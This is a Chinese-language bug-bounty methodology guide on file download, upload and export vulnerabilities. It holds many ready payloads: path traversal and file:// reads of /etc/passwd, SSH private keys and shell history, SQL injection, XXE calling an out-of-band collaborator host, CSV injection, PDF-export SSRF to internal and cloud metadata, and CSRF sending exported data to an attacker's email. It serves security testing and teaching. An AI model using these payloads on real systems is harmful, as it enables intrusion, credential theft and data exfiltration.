下载读取
文件可疑 ID 遍历/注入
下载接口一旦出现敏感信息,尤其是带有用户汇集特征的参数,就很可能存在漏洞。
- 出现数字 ID 时,可以尝试遍历、越权下载他人文件。GET、POST 请求方式都切换尝试,利用 IDOR 思路测试越权,但若存在鉴权字段,越权通常就失效了。
userId=19230239023923232
NickName=232193299321324343
orderid=1989885454549549
注入的思考方式是 +1 -1,观察数值是否被带入执行。可以是选择性数字的导入,也可以观察下载数字是否被带入数据库查询。
导出 Excel 功能点,输入 1 时表示导出第一列数据,此处包长为 6360。

输入 2 时表示导出前 2 列数据,此时包长为 6364。

当我输入 xxx?id=2-1 时,导出的是第一列数据,包长又回到 6360。这就说明用户可以操控参数拼接进 SQL 语句进行运算。所以遇到文件 ID 时,测试遍历和注入往往会有意外收获。
SELECT column_name FROM table_name WHERE id = '用户输入的id';
如果探测到注入且无过滤,就可以构造恒真条件,让查询返回所有记录,从而绕过原本的查询条件,获取所有列的数据。如果存在过滤条件,就需要慢慢探测,只能依靠个人思路绕过。
SELECT column_name FROM table_name WHERE id = '1' OR '1'='1';
file 参数下载接口任意读取
读取文件功能点会按照文件 ID 返回对应文件,常见字段如 file=xxxx。与上文不同的是,这里的相关字段不是 id、fileid、inode 这种明确依靠文件 ID 输出文件的参数,而是 file 这类表示文件相关字段的值。
这种场景除了测试注入、越权、遍历,还可以重点测试任意文件读取。类似参数还有 filesname、file、files。只要接口字段出现此类参数,就可以测试。这类漏洞多出现在文件读取、下载场景,下面还会介绍利用伪协议读取的思路。
file=189839434343 // 可以尝试读取
file=../../ect/passwd

例如 apis/xxxxxxx/download?filePath= 接口,就可以尝试任意文件读取,成功下载 etc/passwd。

整理好通用字典,形成自己的测试规范,遇到好的绕过 Payload 做好记录。


图片链接形式如果是 http://file//xxxxx.png,可以测试为 file//etc/passwd。也可以只保留 http://file,如果对路径没有处理,可能会列出该目录下所有文件。
http://file//a0b24dbc24f3d24530999e10e11a88c7242338c0a849d91aa0ee47369cd2b6147f.png
http://file//etc/passwd
http://file//
type 类型任意文件读取
接口中出现 type 这类类型参数时,也要尝试读取文件。最不起眼的参数也可能隐藏重大安全风险。只要是涉及文件相关参数,都需要敏感起来,尤其类似 filename 这种字段。
GET /api/saber?type=xxxxx
GET /api/saber?type=../../../../../../etc/passwd

400 状态码任意读取
这是国外大牛在推特上分享的情况:原以为只有参数处才可以路径遍历,但有时候路径本身就是参数。响应包为 400 时,也可以试试路径遍历。
payload: ///////./././././etc/passwd



文件包含与任意文件读取区别
文件包含会包含文件后输出,任意文件读取只能读取内容。

文件包含和任意文件读取都支持伪协议以及远程地址,但文件包含一般会有漏洞文件的前缀。
http://baidu.com/saber.php?name=../../../../Windows./system.ini
<?php
$file=$_GET['name'];
include($file);
?>
根据功能点分析,判断该位置是 SSRF 还是任意文件读取。请求网络功能必须测试 DNSlog。
http://baidu.com/saber?file=htttp:sxxxxx
如果没有响应,就测试任意文件读取的 file 协议。能读文件后,就可以读取其他记录 IP 的敏感文件。需要注意权限问题,权限决定了我们能读取或下载文件的范围。尝试读取 root/.bash_history,看看自己是否拥有 root 权限。该文件只能由 root 用户读取,它包含 root 用户操作命令记录。如果没有权限,只能按部就班利用 ../ 逐层跳转读取。
# etc/passwd记录了系统所有用户信息
http://baidu.com/saber?file=file://etc/passwd
# /etc/shadow 是用于存储用户账户密码等安全相关信息的文件,只有root用户才能读
还需要理解带协议文件包含与不带协议文件包含的差异。

任意文件读取攻防利用思路
参考文章:
https://mp.weixin.qq.com/s/7prdLc9ml6q2chrRxdsdEQ
https://mp.weixin.qq.com/s/PdFm_Y3FNDkCMrsHXcm_2w
https://mp.weixin.qq.com/s/Zkw68UPDWcHBn6cayVdITg
拿到任意读取漏洞后,思路优先是读取管理员 root 用户的 .bash_history 命令记录,看看自己是否有 root 权限。该文件只能由 root 用户读取,它包含 root 用户操作命令记录。读取此用户的登录私钥和历史记录,如果用户配置了可以通过密钥登录,那么把私钥下载到本地,就可以完成 SSH 登录。
/root/.bash_history # 读取root用户历史命令,可能会出现ssh私钥存储位置或其他敏感文件路径
/proc/self/status # 当前用户运行进程状态
如果无法读取管理员 .bash_history,就尝试读取 /proc/self/status,通过进程的 UID 和 GID 判断当前用户权限。

之后读取 /etc/passwd 内容,结合进程信息对比,确认自己是什么用户。该文件会显示系统所有用户,搜索 home /bin/zsh 就是实际存在且可以登录系统的用户,也包括 root 用户。

攻防中首先尝试读取 /root/.bash_history,获取管理员历史命令记录。如果读取不了,说明当前并没有 root 权限,就寻找其他可登录用户,以该用户身份继续读取文件。

/home/saber/.zsh_history # 读取saber用户历史命令,可能会出现ssh私钥存储位置
/home/saber/.ssh/id_rsa # 尝试读取普通用户默认私钥
/root/.ssh/id_rsa # root默认地址

通过 file 读取机器文件获取内网 IP。
Linux 系统:
/etc/hosts # 包含主机名与IP地址映射关系,可能记录内网IP信息
/etc/network/interfaces # 存储网络接口配置信息,其中可能包含内网IP地址
/proc/net/fib_trie # 包含路由表信息,可获取内网IP地址
~/.ssh/id_rsa # 用户SSH私钥默认位置
Windows 系统:
C:\Windows\System32\drivers\etc\hosts # 类似于Linux的/etc/hosts,存储主机名与IP映射关系
常见中间件日志路径:
/var/log/apache2/access.log
/var/log/apache/access.log
/var/log/apache2/error.log
/var/log/apache/error.log
/usr/local/apache/log/error_log
/usr/local/apache2/log/error_log
/var/log/nginx/access.log
/var/log/nginx/error.log
/var/log/httpd/error_log
dict 协议可以探测内网端口,读取到 IP 后就可以进行相关爆破操作。
国光SSRF靶场探测内网
如果读取到 IP 和端口,并且 Redis 未授权,就可以连接。dict 协议也可以操作 Redis 执行命令。
dict://127.0.0.1:6379/info/ # SSRF伪造协议读取redis信息
cat /etc/hosts # 读取网络信息

如果网站存在文件包含,还可以读取 Redis 配置文件信息,或者读取 SSRF 场景下其他配置,例如 Spring Boot heapdump 等。

上传文件图片
路径可控覆盖文件 / 上传后无路径
一个点可以任意读取,通过读取 /home/user/.bash_history 历史命令得到网站的目录地址,然后跨目录上传。
参考文章:
https://mp.weixin.qq.com/s/g8-xTjaQ6Q9hL09rCkgLdw
判断是否可控
文件路径和文件名可控是指我们选择图片上传时,在请求包或响应包中会显示路径。我们修改路径或文件名,再次发送如果成功,就代表路径可控。


一旦路径可控,就可以尝试控制整个网站的目录进行覆盖。网站下存放的内容在前端是可以知道的,上传相同路径、相同文件名就可以实现覆盖。
1. 路径可控尝试覆盖,上传两次同一目录下不同图片,用浏览器打开最后图片是否一致,是则无用,否则是漏洞
2. 再次上传测试../跨目录上传实现目录穿越
此处是上传功能,上传参数为 type,正常上传后发现响应包回显路径。回显路径等于请求包控制了响应包的上传结果。

POST /demo/upload?type=1.jsp // 请求包路径
/demo/upload/home/type/1.jsp // 响应包路径
猜测 type 参数就是文件夹名,如果更改为其他值,就会上传到其他位置。使用 ../ 实现跨目录上传。
思路就是寻找系统 web 路径,直接上传脚本 getshell。
POST /demo/upload?saber=1.jsp // 请求包路径
/demo/upload/home/saber/1.jsp // 响应包路径
上传不可知路径
1. 查看下载文件地方,下载时抓包对路径推敲
2. F12找网站 images 文件夹下是否存在路径
3. 选择图片右键新标签打开,查看此图片对应的图片路径
路径推测方法
如果响应包回显了路径,可以删掉第一层,然后拼接响应的目录。上传文件靶场通常都是这样的形式。
一般单独上传后的目录都会在这一层目录下:
https://baidu.com/demo/uploa/
如果上传回显是 saber/1.txt 或 1.txt,直接拼接在后面即可,通常会去掉原有的一层。
https://baidu.com/demp/saber/1.txt
https://baidu.com/demp/1.txt
OSS
阿里云验证
文件上传到 OSS 服务器过程中,有三种经典验证方式:
1. 在客户端通过JavaScript代码完成签名,然后通过表单直传数据到OSS // 硬编码在JS中
2. 在服务端完成签名,然后通过表单直传数据到OSS
3. 在服务端完成签名,并且服务端设置了上传后回调,然后通过表单直传数据到OSS
OSS回调完成后,再将应用服务器响应结果返回给客户端

前提是上云且可以预览,否则不满足正常文件上传。涉及云存储桶攻防时,任何情况下都不要企图直接以图片后缀如 .jps/.png/.gif/.jepg 命名文件并上传,这类文件即使包含 HTML 或 JS 代码,其代码也不会被任何浏览器解析。
任意上传不限制类型
上传任意后缀文件都不解析时,可以尝试上传 .HTML 文件写入 XSS,或上传异常后缀文件。写入 HTML 代码很有可能得到存储 XSS。任意上传还可以尝试上传 htaccess 文件,导致 RCE。
任意文件上传/类型解析
https://mp.weixin.qq.com/s/MEodN2cUG55rOnBMz48LqA
阿里云任意文件上传时,先判断文件路径和文件名是否可控,接着去同厂商其他网站查找静态图片或文件,看是否可以相互转换,实现任意文件覆盖。
上传图片时,任意上传 html asp php 文件,如果路径可控,就可以进行路径穿越。
1.png ---> 1.php ---> 1.html....
static/img/img1: 存放静态资源图片等信息的服务器
不做解析情况
不做解析时,我们修改 Content-Type 为想要的类型。上传的文件如果是 HTML、PDF、SVG 格式,虽然不解析但可以预览,可能就是因为类型没有改变,被全部当作图片解析。此时可以尝试更改类型。
该操作的前提是上传文件支持预览,而不是访问后直接下载,否则没有危害。
Content-Type: image/jpeg // 正常图片类型
--------------------------------------------------------
Content-Type: text/html // HTML文档类型,上传.html修改
Content-Type: application/pdf // PDF文件格式
Content-Type: application/x-httpd-php // PHP格式
Content-Type: application/jsp // JSP格式
Content-Type: application/xml // XML格式

上传后缀名仍然是 .jpg,但文件类型改为 html,上传成功后可能由图片后缀解析 HTML。


payload
Content-Disposition: form-data; name="file"; filename="12.png"
Content-Type: text/html
<script>alert(1)</script>
STStoken覆盖文件
导入或上传功能点,上传后响应包返回了密钥数据。如果不知道桶名,只能逐步审阅源码,判断是哪个云厂商,然后找平台文档、找脚本填入对应值,仍需要一个包一个包寻找泄露。
Bucket 桶名
tmp_secret_key
tmp_token
-------
secret_id=
secret_key=

根据文档脚本进行上传文件操作,上传的文件在根目录下。

通过脚本填入对应值,可以实现任意上传文件至网站根目录。如果知晓网站其他路径,上传即可实现覆盖操作。Body 为上传的内容。

# 上传脚本执行需要Py为3.0版本下
from qcloud_cos import CosConfig
from qcloud_cos import CosS3Client
import sys
import logging
# 配置日志输出
logging.basicConfig(level=logging.INFO, stream=sys.stdout)
# 填入你的密钥、ID、区域等信息
secrets_key = 'your_secret_key'
secrets_id = 'your_secret_id'
region = 'your_region'
token = ''
scheme = 'https'
# 配置CosConfig
config = CosConfig(Region=region, SecretId=secrets_id, SecretKey=secrets_key, Token=token, Scheme=scheme)
# 创建CosS3Client
client = CosS3Client(config)
# 上传文件到指定存储桶
response = client.put_object(
Bucket='your_bucket_name', # 存储桶名称
Key='a.txt', # 上传文件名称
Body='Hello, World!' # 文件内容
)
上传 Excel 文件 XXE
利用Excle打XXE
https://xz.aliyun.com/news/16463
创建 XLSX 文件,利用压缩软件打开并解压到桌面,在 xl/workbook.xml 路径下打开文件加入 Payload。以下内容插入第 2 行和第 3 行,SYSTEM 后面添加自己的 DNS 记录地址,可以是 BP 也可以是 DNS.log。

<!DOCTYPE x [ <!ENTITY xxe SYSTEM "http://bq5z980jwrrniaf9ox35q5fyppvgj5.burpcollaborator.net/" > ]>
<x>&xxe;</x>

加入 Payload 保存后,现在是文件夹形式。

压缩为 zip,然后手动改后缀为 xlsx,一共两步。做好恶意文件后,切换地址上传即可。

有回显时切换伪协议读取文件。
<?xml version="1.0"?><!DOCTYPE root [<!ENTITY test SYSTEM 'file:///etc/passwd'>]><root>&test;</root>
XXE 在任何场景下通常只有一种 Payload,但产生位置包括 docx 文档或 xlsx 文件。也就是把 xxe 语句写在这些文件里面去上传访问,从而导致 SSRF 或本地文件读取。现在功能点直接支持插入 XXE 语句的非常少。
常见的 XML 传参数据包:
<?xml version="1.0" encoding="UTF-8"?>
<stockCheck>
<productid>
2
</productid>
<storeid>
1
</storeid>
<stockCheck>
在语句之间插入 Payload:
Payload:
<!DOCTYPE foo [<!ENTITY % xxe system "YOUR-DTO-URL" > %xxe;]>
-----------------------------------------
<?xml version="1.0" encoding="UTF-8"?>
// 写入 dns.log 地址
<!DOCTYPE foo [<!ENTITY % xxe system "https:baidu.com" > %xxe;]>
<stockCheck>
<productid>
2
</productid>
<storeid>
1
</storeid>
<stockCheck>
上传压缩软链接任意读取文件
https://mp.weixin.qq.com/s/w5opQqZWyCR4-V7sl5sQpg
功能点是上传压缩包,系统读取压缩包内文件内容并返回。利用这个点,我们可以构造压缩包内文件内容为软链接,使其重定向到指定路径,从而实现任意文件读取。思路很好,实战场景较少,可作为拓展点。
1. 故意上传报错信息,暴露上传后的位置
2. 对此路径进行构造,压缩包内的文件内容为软链接重定义到指定路径位置
3. 上传后系统读取这个文件,读取到软链接后重定向到指定位置,造成任意文件读取

上传头像/图片 img 可控 CSRF 退出
头像上传处抓包,如果请求包的 img 参数可控,就代表我们可以自己构造 HTTP 请求。可控头像使用外部链接,我们抓取退出网站的请求作为 CSRF,发送成功后,我们的头像就是一个代码链接。别人看到后就会加载访问,导致退出网站。
1. 头像抓包确认出现img可控
2. 抓取网站退出请求GET作为CSRF
3. 再次上传头像/图片,替换img标签内的链接为退出请求
4. 放包查看效果
上传 302 跳转未授权绕过 401
未授权上传文件时,如果响应包没有返回 401 状态码,而是进行了 302 跳转,原理是中间件做了统一路由处理,重定向到登录地址或某一处。可以利用资源文件后缀绕过此类限制,例如加入 .png、.jpg。

文件 name 重命名 RCE
上传文件时,如果有参数可以更改文件名,并且出现两个文件名参数,可能调用 cmd 命令执行 rename。案例中执行了 ping 命令,不过这个场景确实很少见。

修改其中一个文件名,利用 RCE 的绕过方式,通过 | 执行 PING。

图片大小参数可控制
上传图片时,如果 width、height 参数可控,可以通过修改图片尺寸数值,让服务器分配更多资源,从而带来拒绝服务攻击隐患。可以使用 Image Size Issues 插件检测。观察响应包字节数判断结果。

越权/遍历上传
上传某些内容,例如头像文件,上传后如果发现存在数字 ID,可以尝试修改 ID 越权给他人上传,甚至遍历 fileid 查看他人上传信息。上传后文件名如果类似第二种,可能文件经过系统重命名,重命名方式一般采用当前上传时间戳或当前日期加随机字段,这种情况下枚举较为困难。
https://www.xxx.com/user1/userfile.php?fileid=10001
https://www.ccc.com/user1/userfile.php?fileid=user1_name.jpg
导出文件
CSV 注入
这个漏洞大多数 SRC 不会收取,因为危害大小完全人为控制。导出的 xlsx 如果没有被触发,就没有实际效果,只能起到钓鱼作用。不过学习一下不是坏事,在不限制漏洞类型的众测中还是可能捡到钱,大部分人会忽略这个问题。

https://xz.aliyun.com/news/11718
=1+cmd|'/C calc'!A0 # 弹出计算机

PDF 导出 SSRF 内网
网页导出表格或 HTML 文档为 PDF 或图片,只要抓包存在导出功能,可以先测试 H1 标签。如果导出的 PDF 中出现了标签,代表 HTML 标签被解析。继续使用 iframe 标签新开窗口测试解析 DNS,只要对外发出请求且 DNS 收到响应,那么代码里再嵌入内网地址读取就是 SSRF。再尝试 file 协议读取文件。
https://mp.weixin.qq.com/s/ZfyJgZbuw58qK7TjjKEdmg
相关组件及业务场景尝试:
从PDF导出到SSRF:https://mp.weixin.qq.com/s/ZfyJgZbuw58qK7TjjKEdmg

导出 PDF 文件或其他文件内容可控时,解析 HTML。

如果出现可手动插入代码,就先插入 Payload,等待 DNS 响应。响应成功代表存在 SSRF 请求,再利用伪协议读取文件。
<img src="https://cdn.nlark.com/yuque/0/2025/svg/22621815/1746580510639-7332d640-7031-4964-8b00-f0932cd61bf9.svg" />
# file协议读文件
<iframe src="file:///etc/passwd" width=400 height=400/>

完整攻击文章展示了从导出探测到可控,再尝试读取内网、读取内网文件。亮点是正常通过 iframe 标签,但这里使用 JS 代码读取,之后读取的文件内容会导出到 PDF。
XSS到任意文件读取:https://mp.weixin.qq.com/s/1jQeyvR1DsIvjNf7NV3Tzg
导出 PDF 通过请求 file 协议读取文件,JavaScript 将在服务器端执行。通过注入以下代码,从文件系统读取文件。
<script>
x=new XMLHttpRequest;
x.onload=function(){
document.write(this.responseText)
};
x.open('GET','file:///etc/passwd');
x.send();
</script>


当 <svg>、<iframe> 等特殊标签被禁用后,可以使用 <meta> 0 秒刷新请求元数据的绕过方式。
如果看不懂这个方式,也可以直接插入下面的语句到导出功能,之后 PDF 就会带出内网信息。
<meta http-equiv="refresh" content="0;url=http://metadata.tencentyun.com/latest/meta-data" />

未授权导出 CSRF+邮箱接收
功能点导出信息会被发送到指定邮箱接收,如果邮箱发送地址可控,且导出没有校验,我们可以把导出请求做成 CSRF 给受害者,地址填攻击者邮箱。这样受害者在登录状态下点击执行导出请求,个人信息就会发送到攻击者邮箱。
拓展一下,并不是只有导出功能可以这样试。比如邀请、发送、敏感信息交互给第三方,无 Token 鉴权的功能都可以尝试 CSRF 打出组合效果。

导出置空参数
从公众号学习到的思路,也是采取模糊查询手法。涉及用户场景都可以尝试置空或 %,往往会有意想不到的效果。

比如普通用户登录后,有一个导出功能,但存在导出限制。把其他参数都删掉,只保留 startTime 和 endTime,就能导出全站数据整整 20M,同时还发现存在未授权访问。像这类围绕文件读取、上传、导出的逻辑问题,往往都藏在参数控制与权限校验的边界处,测试时值得多尝试几个组合。
云栈社区上也有不少师傅分享过从 IDOR 到文件上传、越权导出的实战案例,遇到类似功能点可以对照验证。